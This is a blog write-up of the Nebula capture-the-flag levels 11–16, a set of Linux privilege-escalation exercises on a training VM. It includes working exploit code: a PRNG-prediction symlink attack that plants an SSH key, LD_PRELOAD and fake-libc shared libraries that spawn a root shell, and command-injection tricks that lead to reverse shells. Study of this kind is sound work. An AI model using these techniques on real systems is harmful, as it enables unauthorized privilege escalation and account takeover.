Nebula (11–16) — Exploit Education

The Dark Lord
9 min readJul 10, 2022

Overview

Nebula is a set of exploitation challenges centered around the concept of privilege escalation in Linux. There are set of 19 challenges covering the different aspects, techniques and approaches to privilege escalation abuse in Linux. Here I will cover challenges 11–16. The remaining 4 challenges will be covered in the next post.

I have covered the other challenges of the series here.

Levels (0–5): https://the-dark-lord.medium.com/nebula-0-5-exploit-education-3f4ae3096a30

Levels (6–10): https://the-dark-lord.medium.com/nebula-6-10-exploit-education-9ae70cc6ded4

Levels (17–19):https://the-dark-lord.medium.com/nebula-17-19-exploit-education-7867f7c036a5

Level 11:

I found this to be the trickiest level so far. There are multiple branch conditions and the source code and execution flow needs quite a bit of analysis to understand what is going on. The level hints that there are 2 ways of completing this level.

This program reads from stdin i.e. the standard input. The following code block within the main function checks for the value ‘Content Length’ along with its length and see if it is provided by the user, if these values are not found, then an ‘invalid header’ is produced. The first line read of STDIN is checked against this value.
if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}

The main function has two branches that calls the process() function which contains a system() call.

Another notable condition is that when the length is 1, then the process function is executed and we can avoid the randomness chain. The Content-Length supplied by a single character in the end gets encoded and supplied into the ‘system()’ function. However, the system function is prevented from executing as a suid (unless explicit setresuid is called, system drops the euid bit). I was able to inject an executable (an executable named using a single character) to be processed and executed by the system call (Content-Length:1) followed by a number, however since the system() drops the privileges, the getflag() runs on level11 instead of flag11. This can be checked by running an strace command (which shows that the privileges get dropped). So I guess this was an oversight, and there exists only 1 way of solving this challenge

Now onto inspecting the other branch that gets executed when Content-Length ≥=1024.

The asprintf is writing a random string to the path variable as seen in the code. We get a fd to a file which we can write to
The part of the code that does it is this

asprintf(path, “%s/%d.%c%c%c%c%c%c”, tmp, pid,
‘A’ + (random() % 26), ‘0’ + (random() % 10),
‘a’ + (random() % 26), ‘A’ + (random() % 26),
‘0’ + (random() % 10), ‘a’ + (random() % 26));

So path is the destination string pointer, the 2nd argument is the format string, and the vararg is the same as printf (concatenation of tmp, pid and the random string (A0aA0a)->being the random string format).

So what if we get to write to a random path? What can we even achieve?

Remember that we control the tmp variable as we can change it using the env variable TMP. PID is pretty predictable as well , as Linux assigns it incrementally. In PRNG, the seed is based on current time in seconds.
So if we match the pid and the time we can recreate the fd being written to (much easier to match a second window, than a millisecond or microsecond window)

Note that we can run a exploit with the same random code logic at the same time as the target flag11 code, and symlink it to authorized_keys folder for the flag11 user with the intent of writing the ssh keys file to that of the level 11 user. The buffer we supply to the flag11 will write to this “random fd” which points to the authorized_keys of flag11. If we write the public key of level11 to this symlink, we can then ssh from level 11 to flag11 and that is how we solve the challenge.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
void getrand(char **path, int pid, int time)
{
char *tmp;
int fd;
srandom(time);tmp = getenv("TEMP");asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));
}
int main(int argc, char **argv)
{
char line[256];
char buf[2048] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiXL8q1ehvJanDxk4CpzrFHJmCM6MMPWkqPYlxAd1NZ7m9djA3Yn/zlubEbYDoPkYlq3f8eqwgzN6PQs3OhynDwzvZkBwBd30bMnPdCp4J3tPvM/UGOYV5R9pmwnMaUzLSdbT718AYGHTaWiX9j6nOYjMCg1S/zUIXykD+xlsUHcDrqs1KUHGZADoSPSkV5uEtFNqJ6I3BXaUtPm5JzwI8BF0BO3+tIcnTT8aWARLGZ/wZqx50Ia9gX0b3AM1brAStJfKy3dInRy9dFgmopZOazDI/1y0rmhSw+672zex6UVY+7tLEsOKp1bK+GHCWgpOxJHud8RTIUGpl4lEgjgNr level11@nebula";
int pid;
int fd;
char *path;
FILE* stream;
pid = getpid() + 1;
getrand(&path, pid, time(NULL));
symlink("/home/flag11/.ssh/authorized_keys", path);
fprintf(stdout, "Content-Length: 2048\n%s", buf);
}

The program above takes its own PID, predicts the random path which will be generated when the flag11 is going to run (flag11 will run directly after the above code) so the PID will be 1 more than the above PID and since we use the same random algorithm, we will be getting the same file descriptor. The output of the program is the payload to the flag11 executable and hence the ssh-rsa payload is preceded by the “Content-Length: ” header.

Since we are able to predict the path , we can write to the path of our choice with the ssh-rsa keys of the level user to this random path which is symlinked to the ssh-keys of the user of flag11.

Level 12:
This level is fairly straightforward. It involves exploiting a code injection vulnerability in a lua program where the password hash function can be exploited with code injection to a shell back to attacker. Initially, I tried to find a collision but the password is strong, and could not get it that way.

We first connect to the service using netcat. We can see the command injection works because we see that hackerin file gets created and owned by the flag12 user.

LUA program vulnerable to code injection
starting a connection from nebula VM using code injection
We can get a reverse shell using the exploit above

Level 13:
This challenge involves the shared library exploitation using LD_PRELOAD The LD_PRELOAD is an environment variable which is commonly used within C programming, to load any library prior to any form of shared library. This environment variable can se set to the path of a stored object (.so). When set, this shared object will be loaded before any others. By creating custom shared object and creating an init() function . However, there is a prerequisite that the RUID of the process must match the EUID (which is not the case for SUID executables)

The program halts execution if the userid does not match a given value (FAKEUID is the variable the value is being checked against). If we succeed however, we can get the decrypted token which is the password of the flag13 user. However, to get the decrypted token, we don’t need to exploit the original flag13 program. We just need to get the decrypt function to work on the token aka the password of the flag 13 used. So we make a copy of the original executable (this copy will be a non-suid binary belonging to the level13 user and hence LD_PRELOAD will work). The executable copy is run after we create a shared library and then alter the LD_preload variable to load this path for our copy variable. The code for the shared library has been pasted below, it just overwrites the getuid function to our desire and return 1000 to fool the logic of checking uid=1000.

int getuid()
{
return 1000;
}
compiling the code as a shared library and setting LD_PRELOAD

Level 14:
This is a simple decrypt challenge, the token needs to be decrypted. By analyzing the output it can be deciphered that it is a position based encryption cipher. the encrypted token was decrypted using the simple python code pasted below

#!/usr/bin/python
def main():
x=raw_input().strip()
decrypt=""
for i in range(len(x)):
decrypt+=chr(ord(x[i])-i)
print(decrypt)
if __name__ == '__main__':
main()

Level 15:
This challenge hints us towards stracing the executable, but no source code. The strace reveals that the path loading order for a library libc.so.6. If we look at the ‘open()’ calls in the snip below, we can see the path search order for the library. We notice that /var/tmp/ is a path prefix observed, and this path is a place where folders can be written to by the level15 user. Note the messages for ‘no such file or directory’, their order is important too. The exe is trying to load a shared library, and it is looking in a definite order for that and trying to load it. So if we have write privileges, and we can create a shared library with the same name and version, we can load that library instead.

strace reveals the path search order for libc.6.so among other libraries

This technique in privilege escalation is called Exploiting the ‘LD_PRELOAD_PATH’. By controlling and loading a library of the choice, the attacker gains access to the privilege and can get arbitrary code execution.

Once we place the shared library in the paths being searched, it will show up differently. Initially the libc.so.6 shows up from the /lib/i386-linux-gnu/ path

Initially the executable loads the one in /lib/i386 path

We create a file libc.so.6 in /var/tmp. The shared object must follow a specified format to be compiled as one. We spawn a shell from within the __libc_start_main function.

#include <stdio.h>
#include <sys/syscall.h>
#include <unistd.h>
void __cxa_finalize(void *d) {
return;
}
int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
system(“/bin/sh”);
return 0;
}

We attempt to compile our shared object, but it will fail, as it needs a version

gcc -shared -static-libgcc -fPIC exploit_15.c -o libc.so.6

I googled to find out what the error message means, and how to specify the GLIBC_2.0 version.

./flag15: /var/tmp/flag15/libc.so.6: no version information available (required by ./flag15)
./flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
./flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol system, version GLIBC_2.0 not defined in file libc.so.6 with link time reference

Basically, we need to define a version file when we compile our shared file which must adhere to the one being referred by the executable. We can see the glibc version of theby doing an objdump on the executable.

objdump reveals the GLIBC 2.0 version for the executable

So we create the version file with just a string specifying the version. We can name the version file anything like temp

GLIBC_2.0 {};

We then compile our shared library . The output object file must be appropriately named, the code file can be named anything such as exploit_15.c . We use the -static-libgcc to link the system() statically to our shared object.

gcc -o /var/tmp/libc.so.6 -static-libgcc -shared -fPIC -Wl,--version-script=/home/level15/temp /home/level15/exploit_15.c

The challenge is on the harder side even though we know what to do, but we need to have the knowhow of the compiler flags, version flags etc. Once this is done, running the flag15 executable would load the crafted libc6.so and spawn a shell() from where we can execute getflag.

Level 16:

This challenge is another variation of command injection exploit. The web service is running on port 1616, and the source code is provided to us for reference. We can use netcat to connect to this service.

The username parameter is something we control, and will be the point for command injection. To exploit this level we could escape the egrep command by using a backtick to inject a bash command such as “`ls -aril`” within the supplied username parameter. This should lead to arbitrary code execution — but there is a problem, the exploit is being passed to an uppercase filter which will cause any exploit or injection to fail (Sadly, linux is case sensitive, this would have worked on a Windows OS)

The way to bypass this is to exploit the bash wildcard expansion. We can create an exploit and place it in /tmp/ where both the level16 and flag16 users have read and write access to. We can name our exploit file in all caps or numbers(eg A123BCD). When we supply the username parameter like /*/A123BCD the uppercase won’t affect it, and the bash wildcard will find only 1 file which is our exploit in /tmp/ that matches the pattern. Inside the exploit we can place a reverse shell to our machine and execute getflag.

--

--

The Dark Lord

Computer & N/w security enthusiast, cryptography fanatic. Exploiting things in a dimly lit room.